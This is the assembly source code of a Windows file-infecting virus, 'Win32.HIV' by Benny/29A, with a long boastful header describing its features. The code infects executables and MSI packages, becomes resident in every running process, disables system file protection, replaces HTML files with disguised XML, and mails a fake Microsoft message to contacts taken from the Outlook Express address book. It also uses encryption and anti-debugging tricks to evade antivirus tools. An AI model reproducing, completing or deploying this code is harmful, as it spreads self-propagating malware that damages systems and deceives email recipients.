ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[HIV.ASM]ÄÄÄ COMMENT# ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Win32.HIV ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ by Benny/29A ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Finally I finished this virus... it took me more than 8 months to code it. I hope you will like it and enjoy the new features it presents. Here comes a deep description of Win32.HIV... Kernel32 searching engine: ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ The virus can remember the last used base address of Kernel32.DLL. If the last one is not valid, it can check the standard addresses, used under Win95/98/NT/2k. Even if none of these addresses r valid, it can search thru address space of current process and find the library. Everything of this is protected by Structured Exception Handling. API searching mechanism: ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ For Kernel32's APIz virus uses its own searching engine, using CRC32 instead of stringz. For APIz from other libraries it uses GetProcAddress from K32. Encryption of virus code: ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ The virus is encrypted by simple XOR mechanism, the encryption constant is generated from the host code (the checksum). My idea for next viruses is to code slow-polymorphic engine, where the shape of virus will depend on host code checksum - something like "virus code depends on hosts DNA" :) AVerz will have again some problems, becoz they will need to have enough different victim filez to create valid pattern (for the scanner). Direct action: ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ The virus infects ALL PE filez (also inside MSI filez) in current directory. Infection of PE filez is done by appending to the last section. Infection of PE filez inside MSIs is done by cavity algorithm: - find a cave inside .code section - put there viral code - modify entrypoint Into these PE filez not whole virus will be copied, but only a small chunk of code, which will after execution display message and jump back to host. This can be called as a payload. The message loox like: "[Win32.HIV] by Benny/29A" "This cell has been infected by HIV virus, generation: " + 10-char number of virus generation in decimal format. EntryPoint Obscuring: ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Yeah, this virus also uses EPO, which means: virus doesn't modify entrypoint, it is executed "in-the-middle" of execution of host program. Again, this is trick to fuck heuristic analysis :) It overwrites procedure's epilog by instruction. The epilog loox like: pop edi 05Fh pop esi 05Eh pop ebx 05Bh leave 0C9h ret 0C3h Even if the sequence couldn't be found it infects the file - this will take AVerz some time to understand :) Multi-process residency: ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ This virus is multi-process resident, which means it can become resident in ALL process in the system, not only in the current one. Virus does: - find some process - allocate memory in process and copy there virus itself - hook FindFirstFileA,FindNextFileA,CreateFileA,CopyFileA and MoveFileA APIz - find another process to infect and all again... Very efficent! Imagine - you have executed WinCommander and accidently you will execute virus. The virus become resident in ALL process, including WinCommander, so every file manipulation will be caught by virus. If you will open any file under WinCommander, virus will infect it! :) The infection runs in separated thread and execution is passed to host code, so you should not recognize any system slow down. Also, the ExitProcess API is hooked, so the process can be terminated only when the infection is finished. Per-process residency - hooking Internet: ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Ah, yeah, this is really tricky stuff. The virus tries to hook InternetConnectA API from WININET.DLL. If the host program will establish FTP connection, virus will transfer itself by FTP to the root directory. And this really worx! :) SFC stuff: ÄÄÄÄÄÄÄÄÄÄÄ All Win2k compatbile infectorz used SfcIsFileProtected API to check if victim files r protected by system and if so, they didn't infect them. This infector can disable SFC under Win98/2k/ME, so ALL filez (even the system ones) can be infected! I would like to thank Darkman for his ideaz and SFC code. Mail spreading: ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ The virus finds in registry the location of default address book file of Outlook Express, gets 5 mail addresses from there and sends there infected XML document (see bellow). HTML infection (XML stuff): ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Here I would like to thank Rajaat for his XSL idea (see XML stuff in 29A4). The algorithm of HTML infection loox like: - virus will disable showing extensions of HTML filez by adding "NeverShowExt" item to file properties in registry - then create exactly same icon for XML filez as HTML filez have (now in explorer XML filez should look like HTML filez) - find all .HTML filez in current directory - delete them and create new filez with the same name and .HTML.XML extension - write there XML code: This cell has been infected by HIV virus, generation: XXXXXXXXXX press.txt is XSL - XML stylesheet, which is loaded together with XML file and can be placed anywhere on the internet. This XSL contains VBScript which will infect computer. XML loox like clean - in fact, it is, but it uses template, which is infected. I l0ve this stuff...:-) NTFS stuff: ÄÄÄÄÄÄÄÄÄÄÄÄ The virus compresses infected filez placed on NTFS, so the infected filez are usually smaller than the clean copies...user should not recognize any space eating...;) Also, it contains next payload - using file streamz on NTFS. Every infected file on NTFS will have new stream ":HIV" containing message: "This cell has been infected by HIV virus, generation: " + 10-char number of virus generation in decimal format. All of this does not work with MSI filez. Anti-*: ÄÄÄÄÄÄÄÄ Yeah, the virus uses some anti-* featurez, against debuggerz (check "debug_stuff" procedure), heuristics (SALC opcode, non-suspicious code, EPO) and AVerz (infected PE files grows by 16384 bytes, about 6,5 kb of virus code, the rest is data from the end of host - if you will open the file and go to EOF, you will not find any virus :) Other features: ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ The virus doesn't check extensions of victim files, it just opens the file and chex the internal format, if the file is suitable for infection. Also, the bug can correct the checksum of infected file (if it is needed), so there should not be any problem with infection of some files under WinNT/2k. Known bugz: ÄÄÄÄÄÄÄÄÄÄÄÄ Here I would like to thank Perikles and Paddingx for beta-testing Win32.HIV. I tried to fix all possible bugz, but no program is bug-free, right? :P ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Some comments ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ That was the small description of the virus. I was coding it verz long time, since the winter 2000, right after Win2k.Installer was released. My idea was to code virus which could defeat OS "immunity". Heh, and becoz the HIV virus does the same with human body, I decided to name my virus so. This virus passed with me all my personal problems and happiness. This year my life was like on the rolercoaster. Once up, once down. Everything important that happened to me... there was this virus with me... I'm glad that I finished it, but I also feel great nostalgy. Well, I would like to greet some of my friends that helped me or just were with me and created good atmosphere of all the year. Darkman: That's a pity that we couldn't code next common virus. However, thnx for yer help, yer moral support and everything... come back to vx! GriYo & Maia: It was really wonderful time in Brno. I'm glad that you came. Just say weeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeed :) Rajaat: Many many many thnx for the atmosphere you created on our meeting... I really enjoyed it. Shroomz 4ever! :) btw, I want those CDs of Timothy Leary and Kate Bush :-) Ratter: Don't think you are, know you are! Skag: Psychedelic drugz rulez :P Perikles: Thanx for beta-testing dude! Paddingx: ----------- " " ------------ GigaByte: Very nice time in Brno... but'ta... next time: speak slowly :) Lada: Rather yes than ratter no :-) Thnx for the best holidayz I've ever had. Petra: H3y4, y4 g0t v3ry nIc3 b0dy :) Queenie: /me hugs ya :D Timothy Leary: Hey man, ya rule, yer death is the biggest lost for the world in this age... Thnx to Marilyn Manson, Beatles, BeeGees, Beach Boys, Timothy Leary, Kate Bush (hi Rajaat :) and other groupz/ppl for inspiration. # PID equ 376 .386p ;386 protected mode instructions .model flat ;flat model include MZ.inc ;some important include files include PE.inc include Win32API.inc include UseFul.inc extrn ExitProcess:PROC ;APIs for first generation of virus PROCESS_VM_OPERATION equ 0008h ;some equates PROCESS_VM_READ equ 0010h PROCESS_VM_WRITE equ 0020h PROCESS_QUERY_INFORMATION equ 0400h virus_size equ 16384 ;size of virus in the file and ;memory @getsz macro msg2psh, reg ;macro to push NULL-terminated string local next_instr ;to stack and pop address to register call next_instr db msg2psh,0 next_instr: pop reg endm j_api macro API ;macro to construct JMP DWORD PTR [xxxxxxxx] dw 25FFh API dd ? endm .data Start: ;start of virus in the file push offset E_EPO ;save EPO address to stack (*) epo_pos = dword ptr $-4 pushad ;store all registers @SEH_SetupFrame ;setup SEH frame call gdelta ;get delta offset gdelta: pop ebp ;to EBP lea esi,[ebp + encrypted - gdelta] ;get start of encrypted part mov edi,esi ;save it to EDI mov ecx,(end_virus-encrypted+3)/4 ;size of encrypted part in DWORDs decrypt:db 0D6h ;SALC opcode - ANTI-heuristic lodsd ;get encrypted byte xor eax,12345678h ;decrypt it decr_key = dword ptr $-4 stosd ;and save it loop decrypt ;do it ECX-timez encrypted: ;encrypted part of virus db 0D6h ;anti-heuritic call get_base ;get base address of K32 mov [ebp + k32_base - gdelta],eax ;save it call get_apis ;get addresses of all needed APIs call debug_stuff ;check for debugger mov eax,12345678h ;get generation number to EAX generation_count = dword ptr $-4 lea edi,[ebp + gcount - gdelta] call Num2Ascii ;save generation number in ;decimal format call sfc_stuff98 ;disable SFC under Win98 call sfc_stuffME ;disable SFC under WinME call sfc_stuff2k ;disable SFC under Win2k call html_stuff ;infect ALL HTML documents in ;current directory ;direct action - infect all PE filez in current directory lea esi,[ebp + WFD - gdelta] ;WIN32_FIND_DATA structure push esi ;save its address @pushsz '*.*' ;search for all filez call [ebp + a_FindFirstFileA - gdelta] ;find first file inc eax je e_find ;quit if not found dec eax push eax ;save search handle to stack f_next: call CheckInfect ;infect found file push esi ;save WFD structure push dword ptr [esp+4] ;and search handle from stack call [ebp + a_FindNextFileA - gdelta];find next file test eax,eax jne f_next ;and infect it f_close:call [ebp + a_FindClose - gdelta] ;close search handle e_find: call wab_parse ;get 5 addresses from .WAB file call mapi_stuff ;and send there infected XML document and dword ptr [ebp + r2rp - gdelta],0 ;set 0 - host program and dword ptr [ebp + ep_patch - gdelta],0 ;semaphore for ExitProcess API ;now we will hook InternetConnectA API of host program and dword ptr [ebp + inet_k32 - gdelta],0 ;use WININET library lea eax,[ebp + newInternetConnectA - gdelta];address of new handler sub eax,[ebp + image_base - gdelta] ;correct it to RVA push eax ;save it push 06810962Dh ;CRC32 of InternetConnectA mov eax,400000h ;image base of host file image_base = dword ptr $-4 call patch_IT ;hook API mov [ebp + oldInternetConnectA - gdelta],eax;save old address mov [ebp + inet_k32 - gdelta],ebp ;use K32 library ;now we will hook ExitProcess API of host program so host program could ;be terminated only when virus thread will finish its action lea eax,[ebp + newExitProcess - gdelta] ;address of new handler sub eax,[ebp + image_base - gdelta] ;correct it to RVA push eax ;save it push 040F57181h ;CRC32 of ExitProcess mov eax,400000h ;image base of host file image_base = dword ptr $-4 call patch_IT ;hook API test eax,eax je end_host ;quit if error mov [ebp + oldExitProcess - gdelta],eax ;save old address mov eax,cs ;get CS to EAX xor al,al ;nulify LSB test eax,eax ;EAX is 0, if we r jne end_host ;under WinNT/2k... ;now we will create thread which will try to infect all K32s in all ;processes - multi-process residency call _tmp tmp dd ? ;temporary variable _tmp: xor eax,eax push eax push ebp lea edx,[ebp + searchThread - gdelta] push edx push eax push eax call [ebp + a_CreateThread - gdelta] ;create new thread xchg eax,ecx jecxz end_host ;quit if error push eax call [ebp + a_CloseHandle - gdelta] ;close its handle end_host: @SEH_RemoveFrame ;remove SEH frame mov edi,[esp.cPushad] ;get EPO address (*) mov eax,0C95B5E5Fh ;restore host code stosd ;... mov al,0C3h ;... stosb ;... popad ;restore all registers ret ;and jump back to host ;this procedure can disable WinME's SFC sfc_stuffME Proc pushad ;store all registers @SEH_SetupFrame ;setup SEH frame lea edi,[ebp + reg_buffer - gdelta] ;where to save path to windir call get_win_dir ;get path test eax,eax je end_seh ;quit if error push edi add edi,eax call @sfcme db '\SYSTEM\sfp\sfpdb.sfp',0 ;store the path @sfcme: pop esi push 22 pop ecx rep movsb pop ebx call Create_FileA ;open the file inc eax je end_seh dec eax xchg eax,esi push 0 push esi call [ebp + a_GetFileSize - gdelta] ;get file size to EDI xchg eax,edi mov [ebp + sfcme_size - gdelta],edi ;save it push PAGE_READWRITE push MEM_RESERVE or MEM_COMMIT push edi push 0 call [ebp + a_VirtualAlloc - gdelta] ;allocate buffer for file test eax,eax je sfcme_file xchg eax,ebx ;address to EBX push 0 lea eax,[ebp + tmp - gdelta] push eax push edi push ebx push esi call [ebp + a_ReadFile - gdelta] ;read file content to our buffer pushad ;store all registerz mov esi,ebx ;ESI - address of buffer mov ecx,edi ;ECX - size of file mov edi,esi ;EDI - ESI push edi ;save base address of buffer find_comma: lodsb ;load byte stosb ;store it dec ecx ;decrement counter cmp al,',' jne find_comma ;find comma find_cr:dec esi lodsw dec ecx cmp ax,0A0Dh jne find_cr ;find CRLF sequence mov eax,0A0D2C2Ch stosd ;save commas and CRLF inc ecx loop find_comma ;do it in a loop pop eax ;get base address of buffer sub edi,eax ;EDI - size of data mov [esp.Pushad_eax],edi ;save it popad ;restore all registerz push eax ;store size to stack xor eax,eax push eax push eax push eax push esi ;move to beginning of file call [ebp + a_SetFilePointer - gdelta] pop ecx push 0 lea eax,[ebp + tmp - gdelta] push eax push ecx push ebx push esi call [ebp + a_WriteFile - gdelta] ;write modified data (unprotect push esi ;filez under WinME :-) call [ebp + a_SetEndOfFile - gdelta] ;set EOF push MEM_DECOMMIT push 12345678h sfcme_size = dword ptr $-4 push ebx call [ebp + a_VirtualFree - gdelta] push MEM_RELEASE push 0 push ebx call [ebp + a_VirtualFree - gdelta] ;release buffer memory jmp sfcme_file ;close file and quit sfc_stuffME EndP ;this procedure can disable Win98's SFC sfc_stuff98 Proc pushad ;store all registers @SEH_SetupFrame ;setup SEH frame lea edi,[ebp + reg_buffer - gdelta] ;where to save path to windir call get_win_dir ;get path test eax,eax je end_seh ;quit if error mov ebx,edi ;ECX = pointer to reg_buffer add edi,eax mov eax,'FED\' ;Store '\DEFAULT.SFC' after the stosd ;Windows directory mov eax,'TLUA' stosd mov eax,'CFS.' stosd call Create_FileA ;open file inc eax je end_seh ;quit if error xchg eax,esi dec esi ;ESI = file handle lea eax,[ebp + tmp - gdelta] push 0 push eax push sfc98-_sfc98 call sfc98 _sfc98: db 'VF',00h,01h,01h,0Fh dup(00h),'F',00h,00h,03h,00h,'C:\' sfc98: push esi ;write new SFC record - disable call [ebp + a_WriteFile - gdelta] ;SFC under Win98 :-) push esi call [ebp + a_SetEndOfFile - gdelta] ;truncate file sfcme_file: push esi call [ebp + a_CloseHandle - gdelta] ;close file jmp end_seh ;and quit sfc_stuff98 EndP ;retrieve windows directory path from registry to EDI get_win_dir: push MAX_PATH push edi @pushsz 'windir' ;store path to windows directory call [ebp + a_GetEnvironmentVariableA - gdelta] ret ;this procedure can disable Win2k's SFC sfc_stuff2k Proc pushad ;store all registers @SEH_SetupFrame ;setup SEH frame @getsz '\WINNT\System32\sfcfiles.dll',edi ;path+filename lea eax,[ebp + WFD - gdelta] push eax push edi ;find SFCFILES.DLL file sfcfile:call [ebp + a_FindFirstFileA - gdelta] inc eax je end_seh ;quit if not found dec eax mov [ebp + find_handle - gdelta],eax;save it handle lea ebx,[ebp + WFD.WFD_szFileName - gdelta] call Create_FileA ;open file inc eax je end_sfc dec eax mov [ebp + hsFile - gdelta],eax ;save handle call Create_FileMappingA ;create file mapping object xchg eax,ecx jecxz end_scfile mov [ebp + hsMapFile - gdelta],ecx ;save handle call Map_ViewOfFile ;and map view of file to our xchg eax,ecx ;address space jecxz end_smfile mov [ebp + lpsFile - gdelta],ecx ;save handle movzx eax,word ptr [ecx] add eax,-"ZM" jne end_sfile ;must be MZ file mov ebx,[ecx.MZ_lfanew] add ebx,ecx ;move to PE header movzx edx,word ptr [ebx.NT_FileHeader.FH_SizeOfOptionalHeader] lea edx,[edx+ebx+(3*IMAGE_SIZEOF_FILE_HEADER+4)] ;get to second section header cmp [edx],'tad.' ;must be ".data" jne end_sfile cmp byte ptr [edx+4],'a' jne end_sfile mov esi,[edx.SH_PointerToRawData] ;get start of .data section add esi,ecx ;make pointer RAW mov ecx,[edx.SH_SizeOfRawData] ;get size of .data section sfc_parse: and dword ptr [esi],0 ;nulify everything in that lodsd ;section sub ecx,3 ;correct counter loop sfc_parse ;do it ECX-timez end_sfile: push 12345678h lpsFile = dword ptr $-4 call [ebp + a_UnmapViewOfFile - gdelta];unmap view of file from end_smfile: ;our address space push 12345678h hsMapFile = dword ptr $-4 call [ebp + a_CloseHandle - gdelta] ;close handle of mapping object end_scfile: lea eax,[ebp + WFD.WFD_ftLastWriteTime - gdelta] push eax lea eax,[ebp + WFD.WFD_ftLastAccessTime - gdelta] push eax lea eax,[ebp + WFD.WFD_ftCreationTime - gdelta] push eax push dword ptr [ebp + hsFile - gdelta] call [ebp + a_SetFileTime - gdelta] ;set back file time push 12345678h hsFile = dword ptr $-4 call [ebp + a_CloseHandle - gdelta] ;close file end_sfc:push 12345678h find_handle = dword ptr $-4 call [ebp + a_FindClose - gdelta] ;close search handle jmp end_seh ;and quit from procedure sfc_stuff2k EndP ;this procedure can: ;1) hide .XML extensions by registry modification ;2) assign .HTML icon to .XML files - .XML filez loox like .HTML file then ;3) find all .HTML filez in current directory, delete them and instead of them ; create .HTML.XML file with "infected" XML inside ;4) get path+filename to standard Outlook Express'es address book (.WAB file) ; from registry html_stuff Proc @pushsz 'ADVAPI32' call [ebp + a_LoadLibraryA - gdelta] ;load ADVAPI32.DLL library test eax,eax jne n_load_xml ret ;quit if error n_load_xml: xchg eax,ebx ;EBX = base of ADVAPI32.DLL @getsz 'RegCreateKeyA',edx call @get_api ;get address of RegCreateKeyA API xchg eax,ecx jecxz end_xml_lib mov esi,ecx ;ESI = RegCreateKeyA @getsz 'RegSetValueExA',edx call @get_api ;get address of RegSetValueA API xchg eax,ecx jecxz end_xml_lib mov edi,ecx ;EDI = RegSetValueExA @getsz 'RegCloseKey',edx call @get_api ;get address of RegCloseKey API xchg eax,ecx jecxz end_xml_lib mov [ebp + a_RegCloseKey - gdelta],ecx;save it call hide_xml ;hide .XML call chg_xml_icon ;.XML icon = .HTML icon call search_html ;infect all .HTML filez in ;current directory end_xml_reg: push 12345678h reg_key = dword ptr $-4 call [ebp + a_RegCloseKey - gdelta] ;close registry key end_xml_reg2: push dword ptr [ebp + tmp - gdelta] mov eax,12345678h a_RegCloseKey = dword ptr $-4 call eax ;... end_xml_lib: push ebx call [ebp + a_FreeLibrary - gdelta] ;unload ADVAPI32.DLL library ret ;and quit ;this procedure can copy icon from .html to .xml filez and get path+filename of ;default WAB file chg_xml_icon: lea ecx,[ebp + reg_key - gdelta] push ecx @pushsz 'htmlfile' push 80000000h call esi ;open "HKEY_CLASSES_ROOT\htmlfile" test eax,eax pop eax jne end_xml_reg2 ;quit if error push eax @getsz 'RegQueryValueA',edx call @get_api ;get address of RegQueryValueA API xchg eax,ecx ;ECX = RegQueryValueA jecxz end_xml_lib pushad ;store all registers call @pword1 dd MAX_PATH @pword1:lea eax,[ebp + wab_buffer - gdelta] push eax @pushsz 'Software\Microsoft\WAB\WAB4\Wab File Name' push 80000001h call ecx ;copy value of "HKEY_CURRENT_USER\ popad ;\Software\Microsoft\WAB\WAB4\Wab File Name" ;to wab_buffer variable - path+filename of WAB file call @pword2 dd MAX_PATH @pword2:lea eax,[ebp + reg_buffer - gdelta] push eax call @dicon def_ico:db 'DefaultIcon',0 @dicon: push dword ptr [ebp + reg_key - gdelta] call ecx ;get value of "HKEY_CLASSES_ROOT\htmlfile\DefaultIcon" test eax,eax ;to reg_buffer pop eax jne end_xml_reg push eax lea ecx,[ebp + tmp - gdelta] push ecx lea ecx,[ebp + def_ico - gdelta] push ecx push dword ptr [ebp + tmp - gdelta] call esi ;open "HKEY_CLASSES_ROOT\xmlfile\DefaultIcon" test eax,eax pop eax jne end_xml_reg2 push eax lea esi,[ebp + reg_buffer - gdelta] mov ecx,esi @endsz sub esi,ecx push esi push ecx push 2 push 0 push 0 push dword ptr [ebp + tmp - gdelta] call edi ;write icon from \htmlfile to \xmlfile test eax,eax ;error? pop eax ;get return address jne end_xml_reg ;quit jmp eax ;continue ;address for getting API addresses ;EBX - base of library ;EDX - name of API @get_api: push edx push ebx call [ebp + a_GetProcAddress - gdelta] ret ;this procedure can hide extension of .XML filez hide_xml: lea ecx,[ebp + tmp - gdelta] push ecx @pushsz 'xmlfile' push 80000000h call esi ;open "HKEY_CLASSES_ROOT\xmlfile" test eax,eax pop eax jne end_xml_lib push eax push 0 push ebp push 1 push 0 @pushsz 'NeverShowExt' push dword ptr [ebp + tmp - gdelta] call edi ;create new item - NeverShowExt - this will test eax,eax ;hide .XML extension under Windows. pop eax jne end_xml_lib jmp eax ;this procedure can infect all .HTML documents in current directory search_html: pushad ;store all registers lea ebx,[ebp + WFD - gdelta] ;address of WFD record push ebx @pushsz '*.html' ;find some .HTML file call [ebp + a_FindFirstFileA - gdelta] inc eax je end_html_search ;quit if no .HTML file was found dec eax mov [ebp + fhtmlHandle - gdelta],eax;save search handle i_html: call infect_html ;infect .HTML file push ebx ;WFD record push 12345678h ;search handle fhtmlHandle = dword ptr $-4 call [ebp + a_FindNextFileA - gdelta];find next .HTML file test eax,eax jne i_html ;and infect it push dword ptr [ebp + fhtmlHandle - gdelta] call [ebp + a_FindClose - gdelta] ;close search handle end_html_search: popad ;restore all registers ret ;and quit from procedure ;this procedure can infect found .HTML file infect_html: pushad ;store all registers lea esi,[ebx.WFD_szFileName] ;found .HTML file push esi call [ebp + a_DeleteFileA - gdelta] ;delete it push esi @endsz dec esi mov eax,'lmx.' mov edi,esi stosd ;create .XML extension xor al,al stosb pop ebx g_xml: call Create_FileA ;create .HTML.XML file xchg eax,edi inc edi je end_infect_html dec edi push 0 call @wftmp dd ? @wftmp: push end_xml-start_xml call end_xml start_xml: ;start of "infected" XML document db '' db '' db '' end_xml:push edi call [ebp + a_WriteFile - gdelta] ;write first part of XML document push 0 lea ebx,[ebp + @wftmp-4 - gdelta] push ebx push szMsg-1-p_msg lea eax,[ebp + p_msg - gdelta] push eax push edi call [ebp + a_WriteFile - gdelta] ;write message to XML document push 0 push ebx push 4 call @endxml db '' @endxml:push edi call [ebp + a_WriteFile - gdelta] ;and final tag push edi call [ebp + a_CloseHandle - gdelta] ;close file end_infect_html: popad ;restore all registers ret ;and quit - HTML is now infected :) html_stuff EndP ;create infected c:\press.xml file @i_html:pushad @getsz 'c:\press.xml',ebx jmp g_xml ;this procedure can send "infected" XML document to 5 mail addresses via MAPI32 mapi_stuff Proc pushad call @i_html ;generate XML file @pushsz 'MAPI32' ;load MAPI32.DLL library call [ebp + a_LoadLibraryA - gdelta] test eax,eax je end_infect_html xchg eax,ebx ;EBX - base of MAPI32 @getsz 'MAPILogon',edx call @get_api ;get address of MAPILogon API test eax,eax je end_mapi xchg eax,esi ;ESI - address of MAPILogon @getsz 'MAPILogoff',edx call @get_api ;get address of MAPILogoff API test eax,eax je end_mapi xchg eax,edi ;EDI - address of MAPILogoff @getsz 'MAPISendMail',edx call @get_api ;get address of MAPISendMail API test eax,eax je end_mapi mov [ebp + a_MAPISendMail - gdelta],eax ;save it xor edx,edx lea eax,[ebp + tmp - gdelta];mapi session ptr push eax push edx push edx lea eax,[ebp + nextPID-1 - gdelta] push eax push eax push edx call esi ;log on to MAPI32 test eax,eax jne end_mapi ;generate MAPI32 message push edi lea edi,[ebp + MAPIMessage - gdelta] stosd @getsz 'XML presentation',eax ;subject stosd call @msgbody db 'Please check out this XML presentation and send us your opinion.',0dh,0ah db 'If you have any questions about XML presentation, write us.',0dh,0ah,0dh,0ah,0dh,0ah db 'Thank you,',0dh,0ah,0dh,0ah db 'The XML developement team, Microsoft Corp.',0 @msgbody: pop eax stosd ;message body add edi,4 @getsz '2010/06/06 22:00',eax ;date and time stosd add edi,4 push 2 pop eax stosd lea eax,[ebp + MsgFrom - gdelta] stosd ;sender push 5 pop eax ;number of recipients stosd lea eax,[ebp + MsgTo - gdelta] stosd ;recipients xor eax,eax inc eax stosd lea eax,[ebp + MAPIFileDesc - gdelta] stosd add edi,4*2 lea eax,[ebp + nextPID-1 - gdelta] stosd @getsz 'press@microsoft.com',eax stosd ;sender add edi,4*2 push 5 pop ecx xor eax,eax msgTo: stosd ;0 inc eax stosd ;1 dec eax stosd ;0 imul eax,ecx,22h lea eax,[eax + ebp + mails - gdelta-22h] stosd ;get next email address from WAB - recipient xor eax,eax stosd ;0 stosd ;0 loop msgTo ;5 timez add edi,4*3 lea eax,[ebp + @i_html+6 - gdelta] stosd ;name of file attachment stosd ;... add edi,4 xor eax,eax push eax push eax lea ecx,[ebp + MAPIMessage - gdelta] push ecx ;message push eax push dword ptr [ebp + tmp - gdelta] mov eax,12345678h a_MAPISendMail = dword ptr $-4 call eax ;send E-MAIL ! pop edi xor eax,eax push eax push eax push eax push dword ptr [ebp + tmp - gdelta] call edi ;close MAPI session end_mapi: push ebx call [ebp + a_FreeLibrary - gdelta] ;unload MAPI32.DLL popad ;restore all registers ret ;and quit from procedure mapi_stuff EndP ;this procedure can get 5 e-mail addresses from Outlook Express'es default ;address-book - .WAB file wab_parse Proc pushad ;store all registers @SEH_SetupFrame ;setup SEH frame lea ebx,[ebp + wab_buffer - gdelta] call Create_FileA ;open WAB file inc eax je end_seh ;quit if error dec eax mov [ebp + wFile - gdelta],eax ;store handle call Create_FileMappingA xchg eax,ecx ;create file mapping object jecxz end_wfile mov [ebp + wMapFile - gdelta],ecx ;store handle call Map_ViewOfFile ;map view of file to our address space xchg eax,ecx jecxz end_wmfile mov [ebp + wlpFile - gdelta],ecx jmp next_wab ;save handle end_wab:push 12345678h wlpFile = dword ptr $-4 ;unmap view of file call [ebp + a_UnmapViewOfFile - gdelta] end_wmfile: push 12345678h wMapFile = dword ptr $-4 ;close file mapping object call [ebp + a_CloseHandle - gdelta] end_wfile: push 12345678h wFile = dword ptr $-4 ;close file call [ebp + a_CloseHandle - gdelta] jmp end_seh ;quit from procedure next_wab: mov esi,[ecx+60h] ;get to e-mail addresses array add esi,ecx ;make RAW pointer lea edi,[ebp + mails - gdelta] ;buffer for 5 mail addresses xor ebx,ebx ;EBX - 0 push 5 pop ecx ;ECX - 5 m_loop: call parse_wab ;get one e-mail address add esi,44h ;get to next record loop m_loop ;ECX timez jmp end_wab ;and quit parse_wab: push ecx ;store registers push esi ;... push 22h pop ecx ;up to 22 characters r_mail: lodsw ;get unicode character stosb ;save ANSI character dec ecx ;decrement counter test al,al ;end of string? jne r_mail ;no, continue add edi,ecx ;yep, correct EDI pop esi ;restore registers pop ecx ;... ret ;and quit wab_parse EndP ;this procedure can check if the virus is debugged and if so, it can restart ;computer (Win98) or terminate current process (Win2k) debug_stuff Proc pushad mov eax,fs:[20h] ;get debug context test eax,eax ;if API-level debugger is not present, je $+4 ;EAX should be NULL k_debug:int 19h ;kill process/computer :) call [ebp + a_IsDebuggerPresent - gdelta] test eax,eax ;check for API-level debugger jne k_debug ;kill if present @getsz '\\.\SICE',ebx ;name of driver to EBX call Create_FileA ;open SOFTICE driver (Win98) inc eax jne k_debug ;kill if present @getsz '\\.\NTICE',ebx ;name of driver to EBX call Create_FileA ;open SOFTICE driber (WinNT/2k) inc eax jne k_debug ;kill if present popad ;restore registers ret ;and continue debug_stuff EndP ;this procedure is designed to infect ALL processes - in each process it will ;find K32, allocate memory for virus and hook some K32 calls searchThread Proc pushad ;store all registers @SEH_SetupFrame ;setup SEH frame mov ebp,[esp.cPushad+12] ;get delta offset xor ebx,ebx ;EBX - PID mov ecx,80000h ;set counter nextPID:inc ebx ;increment PID pushad ;store all registers push ebx ;process ID push 0 push PROCESS_VM_READ or PROCESS_VM_WRITE or PROCESS_VM_OPERATION or PROCESS_QUERY_INFORMATION ;try to get handle of process call [ebp + a_OpenProcess - gdelta] ;thru our ID test eax,eax ;have we correct handle? jne gotPID ;yeah, ID is valid, infect process! pid_loop: popad ;restore all registers loop nextPID ;nope, try it with another ID end_search: call @patch ep_patch dd 0 ;synchronize variable for @patch: pop eax ;ExitProcess API mov [eax],eax ;now, host program may be terminated jmp end_seh ;quit gotPID: xchg eax,ebx ;handle to EBX mov esi,12345678h ;get K32 base k32_base = dword ptr $-4 ;Now we have to get the size of K32 in another process. We use the trick ;-> we will search thru the address space for the end of K32 in memory ;and then we will substract the value with the base address, so we will ;get the size start_parse: push mbi_size lea eax,[ebp + mbi - gdelta] ;MBI structure push eax push esi push ebx ;get informations about call [ebp + a_VirtualQueryEx - gdelta] test eax,eax ;adress space je end_K32_patching ;quit if error ;is memory commited? test dword ptr [ebp + reg_state - gdelta],MEM_COMMIT je end_parse ;quit if not, end of K32 found mov eax,[ebp + reg_size - gdelta] ;get size of region add [ebp + k32_size - gdelta],eax ;add the size to variable add esi,eax ;make new address jmp start_parse ;and parse again end_parse: sub esi,[ebp + k32_base - gdelta] ;correct to size and save it mov [ebp + k32_size - gdelta],esi ;(size=k32_end - k32_start) push PAGE_READWRITE push MEM_RESERVE or MEM_COMMIT push esi push 0 call [ebp + a_VirtualAlloc - gdelta] ;allocate enough space test eax,eax ;for K32 in our process je end_K32_patching xchg eax,edi mov [ebp + k32_copy - gdelta],edi ;save the address lea edx,[ebp + tmp - gdelta] push edx push 12345678h k32_size = dword ptr $-4 push edi push dword ptr [ebp + k32_base - gdelta] push ebx ;copy the K32 to our buffer call [ebp + a_ReadProcessMemory - gdelta] dec eax jne end_K32_dealloc movzx eax,word ptr [edi] ;get the first bytes of file add eax,-"ZM" jne end_K32_dealloc ;must be MZ header mov esi,[edi.MZ_lfanew] ;get to PE header add esi,edi mov eax,[esi] add eax,-"EP" jne end_K32_dealloc ;must be PE header cmp byte ptr [edi.MZ_res2],'H'+'I'+'V' ;is K32 already infected? je end_K32_dealloc 